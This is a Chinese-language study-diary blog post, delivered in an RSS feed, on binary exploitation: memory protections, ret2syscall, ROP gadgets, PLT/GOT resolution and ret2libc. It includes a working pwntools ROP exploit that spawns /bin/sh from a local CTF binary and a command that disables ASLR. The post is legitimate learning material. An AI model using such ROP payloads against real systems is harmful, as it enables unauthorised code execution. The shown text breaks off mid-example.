<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/ret2syscall/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/ret2syscall/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Wed, 08 Dec 2021 20:32:14 +0800</lastBuildDate><item><title>Pwn学习日记-2</title><link>https://h4cker.zip/6f76a6/</link><pubDate>Wed, 08 Dec 2021 20:32:14 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/6f76a6/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这次主要就是学习了ROP（返回导向编程），跟着PPT还有题目理解了很多rop原理以及汇编细节，在这里感谢好兄弟们的解惑以及小pwn手群的各位师傅。</p>
<p>这次对上一篇补充一些内容以及着重于理解</p>
<h3 id="内存保护措施">内存保护措施<a class="anchor" href="#内存保护措施">#</a></h3>
<blockquote>
<ul>
<li>
<p>canary</p>
<p>canary是金丝雀的意思。在函数返回值之前添加的一串随机数（不超过机器字长），末位为/x00（提供了覆盖最后一字节输出泄露canary的可能），如果出现缓冲区溢出攻击，覆盖内容覆盖到canary处，就会改变原本该处的数值，当程序执行到此处时，会检查canary值是否跟开始的值一样，如果不一样，程序会崩溃，从而达到保护返回地址的目的。一种很强硬的保护措施，就是在中间强插一块数据，前后对比</p>
</li>
<li>
<p>NX</p>
<p>NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址，然后加入shellcode，NX策略是使栈区域的代码无法执行。更强硬，直接不给你执行权限，即使溢出也无法执行攻击代码</p>
</li>
<li>
<p>PIE</p>
<p>PIE（ASLR），内存地址随机化机制（address space layout randomization)，有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。
该保护能使每次运行的程序的地址都不同，防止根据固定地址来写exp执行攻击。
打乱程序在内存内的地址</p>
<p><strong>liunx下关闭PIE的命令如下：</strong>
<code>sudo -s echo 0 &gt; /proc/sys/kernel/randomize_va_space</code></p>
</li>
<li>
<p>RELRO</p>
<p>Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种，Partial RELRO 和 Full RELRO，即 部分RELRO 和 完全RELRO。</p>
<p>部分RELRO 是 GCC 的默认设置，几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。</p>
<p>完全RELRO 使整个 GOT 只读，从而无法被覆盖，但这样会大大增加程序的启动时间，因为程序在启动之前需要解析所有的符号。</p>
</li>
</ul>
</blockquote>
<h3 id="ret2syscall">ret2syscall<a class="anchor" href="#ret2syscall">#</a></h3>
<h4 id="什么是系统调用">什么是系统调用？<a class="anchor" href="#什么是系统调用">#</a></h4>
<ul>
<li>操作系统提供给用户的编程接口</li>
<li>是提供访问操作系统所管理的底层硬件的接口</li>
<li>本质上是一些内核函数代码，以规范的方式驱动硬件</li>
<li>x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用</li>
</ul>
<p>讲人话我感觉就是，我们写程序system(&quot;/bin/sh&quot;)，这是系统里自带的。可是系统读取到此代码时，内部是如何调用system的？系统内部有一套代码对应这些函数，系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时，我们利用一些碎片组成那一套系统内的代码，运行后就相当于执行了那个函数。</p>
<p><strong>举个例子，你驾驶播种机去播种，播种机原理是将土翻开，向里面撒种子再将土埋上；但是，现在你没有播种机了，你用手把土翻开，撒种子，再埋土。这就叫系统调用，直接走它内部的流程。</strong></p>
<p>比如我要执行<code>execve(&quot;/bin/sh&quot;,NULL,NULL)</code>，程序内并没有现成的代码供我们溢出跳转，所以我们执行此行代码的系统调用即可，已知此行代码对应系统调用为：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">mov eax, 0xb
</span></span><span class="line"><span class="ln">2</span><span class="cl">mov ebx, <span class="o">[</span><span class="s2">&#34;/bin/sh&#34;</span><span class="o">]</span> 
</span></span><span class="line"><span class="ln">3</span><span class="cl">mov ecx, <span class="m">0</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">mov edx, <span class="m">0</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">int 0x80</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="rop跳转机制">ROP跳转机制<a class="anchor" href="#rop跳转机制">#</a></h4>
<p>这里还需要了解rop的跳转机制</p>
<p><img
  src="/6f76a6/2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1219" height="661"
/>
</p>
<p>左边是程序原本的栈，普通栈溢出只需要将<code>return address</code>部分覆盖为需要的函数地址，但是没有现成函数时，我们需要进行系统调用。按照上面的代码，首先跳到进行给<code>eax</code>赋值的代码，先给<code>eax</code>赋以<code>0xb</code>，再跳转到给<code>ebx</code>赋值的地方，给<code>ebx</code>赋以<code>/bin/sh</code>，再跳转到<code>ecx</code>，给<code>ecx</code>赋以<code>0</code>，再跳转到<code>edx</code>，给<code>edx</code>赋以<code>0</code>，再跳转到<code>int 0x80</code>的位置，完成系统调用。</p>
<p>再解释一下相应汇编指令，<code>pop</code>用于给寄存器赋值，赋值用的参数是在下一个字长，<code>pop</code>将下一个字长里的数据弹出到寄存器，<code>ret</code>是将下下个字长的数据弹出到eip，<strong><code>eip</code>是用于存储下一条命令用的寄存器</strong>，所以下一个命令就运行下下个字长那里。</p>
<p>此时再看上图中间的栈帧结构就清晰很多了，首先溢出溢出溢出，将<code>return address</code>覆写为<code>pop_eax_ret</code>的地址，这句将下一个字长里的<code>0xb</code>弹出到<code>eax</code>里，然后ret指令将下下个字长里的<code>pop_ebx_ret</code>地址弹出到<code>eip</code>里，这句结束。到了下一句<code>pop_ebx_ret</code>，原理同上所述。随后程序运行到最后一句<code>int 0x80</code>那里结束，此段系统调用等于执行了<code>execve(&quot;/bin/sh&quot;,NULL,NULL)</code></p>
<p><code>ROPgadget</code>命令用于寻找代码片段，<code>--binary</code>指令用于指定在哪个程序里寻找，<code>--only &quot;pop|ret&quot;</code>是只寻找含有<code>pop</code>和<code>ret</code>指令同时存在的片段，<code>grep eax</code>是在前面的结果中搜索含有<code>eax</code>的片段</p>
<h4 id="例题">例题<a class="anchor" href="#例题">#</a></h4>
<p>ret2syscall</p>
<p><img
  src="/6f76a6/2_2.webp"
  alt="checksec"
  class="zoomable"
  loading="lazy"
  decoding="async" width="976" height="135"
/>
</p>
<p><img
  src="/6f76a6/2_3.webp"
  alt="main"
  class="zoomable"
  loading="lazy"
  decoding="async" width="611" height="226"
/>
</p>
<p><img
  src="/6f76a6/2_4.webp"
  alt="strings"
  class="zoomable"
  loading="lazy"
  decoding="async" width="812" height="188"
/>
</p>
<p><img
  src="/6f76a6/2_5.webp"
  alt="寻找含有pop eax;ret的片段"
  class="zoomable"
  loading="lazy"
  decoding="async" width="593" height="58"
/>
</p>
<p><img
  src="/6f76a6/2_6.webp"
  alt="寻找含有pop ebx;ret的片段"
  class="zoomable"
  loading="lazy"
  decoding="async" width="665" height="460"
/>
</p>
<p><img
  src="/6f76a6/2_7.webp"
  alt="寻找含有int的片段"
  class="zoomable"
  loading="lazy"
  decoding="async" width="462" height="116"
/>
</p>
<p>即使PIE和canary关了，由于开了NX，所以无法执行栈上的代码，而已缺少现成函数，我们也无法直接溢出跳转，到这就可以想到ret2syscall了</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">process</span><span class="p">(</span><span class="s1">&#39;./ret2syscall&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">pop_eax_ret</span><span class="o">=</span><span class="mh">0x080bb196</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">pop_edx_ecx_ebx</span><span class="o">=</span><span class="mh">0x0806eb90</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">int_0x80</span><span class="o">=</span><span class="mh">0x08049421</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">bin_sh</span><span class="o">=</span><span class="mh">0x080BE408</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">flat</span><span class="p">([</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mi">112</span><span class="p">,</span><span class="n">pop_eax_ret</span><span class="p">,</span><span class="mh">0xb</span><span class="p">,</span><span class="n">pop_edx_ecx_ebx</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">bin_sh</span><span class="p">,</span><span class="n">int_0x80</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个exp写出来我自己也挺意外的，地址不用打包？</p>
<h3 id="动态链接过程">动态链接过程<a class="anchor" href="#动态链接过程">#</a></h3>
<p>上个例题大小七百多k，IDA打开时函数区一大堆函数，因为它是静态编译的，将此程序需要用到的各种库全部打包在一个程序里，这些个库自身里就有着非常多的函数。为什么我们能找到那么多的碎片？就是因为有着这些包含大量代码的库存在。</p>
<p>静态编译的程序很大，运行起来与动态的一模一样。动态编译的程序所用的库是动态链接库，这些库在操作系统里就有，程序运行时直接引用就行了，所以程序自身文件很小。那么很容易想到，倘若系统里缺少相应的动态链接库，则此程序无法运行。由于动态编译的程序特性，IDA打开时函数区只包含与当前程序直接相关的函数，所以ROPgedget找到的碎片也很少。</p>
<h4 id="动静链接引用点">动/静链接引用点<a class="anchor" href="#动静链接引用点">#</a></h4>
<p><img
  src="/6f76a6/2_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1206" height="440"
/>
</p>
<h4 id="动态链接相关结构">动态链接相关结构<a class="anchor" href="#动态链接相关结构">#</a></h4>
<p><img
  src="/6f76a6/2_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="599" height="309"
/>
</p>
<ul>
<li>
<p>.dynamic section</p>
<p>提供动态链接相关信息</p>
</li>
<li>
<p>link_map</p>
<p>保存进程载入的动态链接库的链表</p>
</li>
<li>
<p>__dl_runtime_resolve</p>
<p>装载器中用于解析动态链接库中函数的实际地址的函数</p>
</li>
</ul>
<h4 id="动态链接调用函数流程">动态链接调用函数流程<a class="anchor" href="#动态链接调用函数流程">#</a></h4>
<p>调用libc中的foo函数</p>
<p><img
  src="/6f76a6/2_10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="912" height="486"
/>
</p>
<p>首次调用foo函数</p>
<p><img
  src="/6f76a6/2_11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="908" height="484"
/>
</p>
<p>跳转到.plt表中的foo表项，.plt中代码跳转到.got.plt中记录的地址</p>
<p><img
  src="/6f76a6/2_12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="891" height="481"
/>
</p>
<p>由于进程是第一次调用 foo，故 .got.plt 中记录的地址是 <code>foo@plt+6</code></p>
<p><img
  src="/6f76a6/2_13.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="905" height="484"
/>
</p>
<p>回到 .plt 是为了解析 foo 的实际地址</p>
<p><img
  src="/6f76a6/2_14.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="909" height="485"
/>
</p>
<p>跳转到 .plt 头部为 <code>__dl_runtime_resolve</code> 函数传参</p>
<p><img
  src="/6f76a6/2_15.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="904" height="491"
/>
</p>
<p><img
  src="/6f76a6/2_16.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="923" height="486"
/>
</p>
<p><code>__dl_runtime_resolve</code> 函数解析 foo 的真正地址并填入 .got.plt 中</p>
<p><img
  src="/6f76a6/2_17.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="588" height="476"
/>
</p>
<p>此后 .got.plt 中保存的是 foo 的真实地址</p>
<p><img
  src="/6f76a6/2_18.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="668" height="493"
/>
</p>
<p>进程第二次调用 foo</p>
<p><img
  src="/6f76a6/2_19.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="900" height="481"
/>
</p>
<p>直接自 .got.plt 跳转到 foo 的真实地址，没有了第一次的解析地址过程</p>
<p><img
  src="/6f76a6/2_20.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="913" height="484"
/>
</p>
<p>流程图如下</p>
<p><img
  src="/6f76a6/2_21.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="800" height="540"
/>
</p>
<p>简而言之，就是第一次去调用函数，先到plt中找表项然后跳转到got（.got.plt）里找真实地址，got里没有就返回到plt，让他自己去解析真实地址，解析完写到got里。第二次调用时，去plt里找表项然后跳转到got表里就可以直接获取真实地址。取地址从plt里取就行了，反正第几次调用都还是要返回真实地址的。</p>
<p>info b查看断点信息</p>
<p>d 1，删除编号为1 的断点。</p>
<p>distance 地址 地址，计算地址间距</p>
<p>backtrace ，查看函数调用栈</p>
<p>return，从函数中出来</p>
<h3 id="ret2libc1">ret2libc1<a class="anchor" href="#ret2libc1">#</a></h3>
<p>ret2syscall是调用系统的汇编指令完成系统调用构造链子，而ret2libc是调用libc里的函数，将这些函数连成链子。</p>
<h4 id="简单rop链">简单rop链<a class="anchor" href="#简单rop链">#</a></h4>
<p>如图rop链在栈内表示图</p>
<p><img
  src="/6f76a6/2_22.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="578" height="471"
/>
</p>
<p>图中函数是从libc里取出的，如system，exit。<code>system</code>参数是<code>&quot;/bin/sh&quot;</code>，返回地址是<code>exit</code>，<code>exit</code>参数是<code>0</code>，返回地址是<code>&quot;/bin/sh&quot;</code>，所以这段链子执行如下代码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">system<span class="o">(</span><span class="s2">&#34;/bin/sh&#34;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">exit<span class="o">(</span>0<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="参数位置">参数位置<a class="anchor" href="#参数位置">#</a></h4>
<p>为什么参数在函数上第二个字长？第一个却是返回地址？</p>
<p>因为父函数在调用子函数的时候，使用call调用，父函数本来就保存子函数的参数，调用时又会将子函数的返回地址也压入栈，所以通常认为，返回地址（包含返回地址）以上是属于父函数的。</p>
<p><img
  src="/6f76a6/2_23.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="705" height="389"
/>
</p>
<p>如图虚线以上认为是父函数，往下是子函数</p>
<p>那子函数是如何找到自己的参数的呢？在上篇说过被调用函数局部变量压入栈，如下图</p>
<p><img
  src="/6f76a6/2_24.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="485" height="584"
/>
</p>
<p><code>Local address</code>即被调函数局部变量，上面是调用函数的栈底，这几步又是如何完成的？</p>
<p>拿上面的代码为例，最开始的栈溢出，溢出到返回地址，在这个示例代码里溢出到system，这个返回操作到system即<code>ret system</code>。此时<code>system</code>被弹到<code>eip</code>寄存器，随后进入<code>system</code>代码。被调函数，第一行往往是<code>push ebp</code>，也就是把<code>ebp</code>压入栈，随后将本地变量压入栈。可是变量是保存在父函数的，根据调用约定，本地变量会向上去寻找参数，也就是父函数里的<code>/bin/sh</code>。调用完，<code>system</code>结束跳到返回地址<code>exit</code>，此时<code>exit</code>同理，往上第二个字长里的数据为参数。</p>
<p><img
  src="/6f76a6/2_25.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="776" height="654"
/>
</p>
<h4 id="栈平衡">栈平衡<a class="anchor" href="#栈平衡">#</a></h4>
<p>实际上，倘若有多个函数连续调用，往上两个字长就不是参数了，可能是函数，如</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">gets
</span></span><span class="line"><span class="ln">3</span><span class="cl">puts
</span></span><span class="line"><span class="ln">4</span><span class="cl">system</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这种是怎么调用呢？若真这样调用，程序会出错，所以需要栈平衡，在每次调用函数后都会有一条<code>pop ret</code>指令，函数被调用后，往上两个找参数，结束了，跳到返回地址也就是<code>pop ret</code>，这条指令会把刚才用的参数<code>pop</code>掉也就是扔掉，然后<code>ret</code>到下一条函数。一直下去，这样的话连续调用多少条函数都没事，这就是栈平衡的链子，通常两个函数就够了，所以大多数都是简化的，下图是完整版</p>
<p><img
  src="/6f76a6/2_26.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="279" height="621"
/>
</p>
<p>一般连续俩函数，用的都是简化的，满足往上两个字长能找到参数就行的那种。</p>
<h4 id="例题-1">例题<a class="anchor" href="#例题-1">#</a></h4>
<p>ret2libc1</p>
<p><img
  src="/6f76a6/2_27.webp"
  alt="checksec"
  class="zoomable"
  loading="lazy"
  decoding="async" width="866" height="98"
/>
</p>
<p><img
  src="/6f76a6/2_28.webp"
  alt="strings"
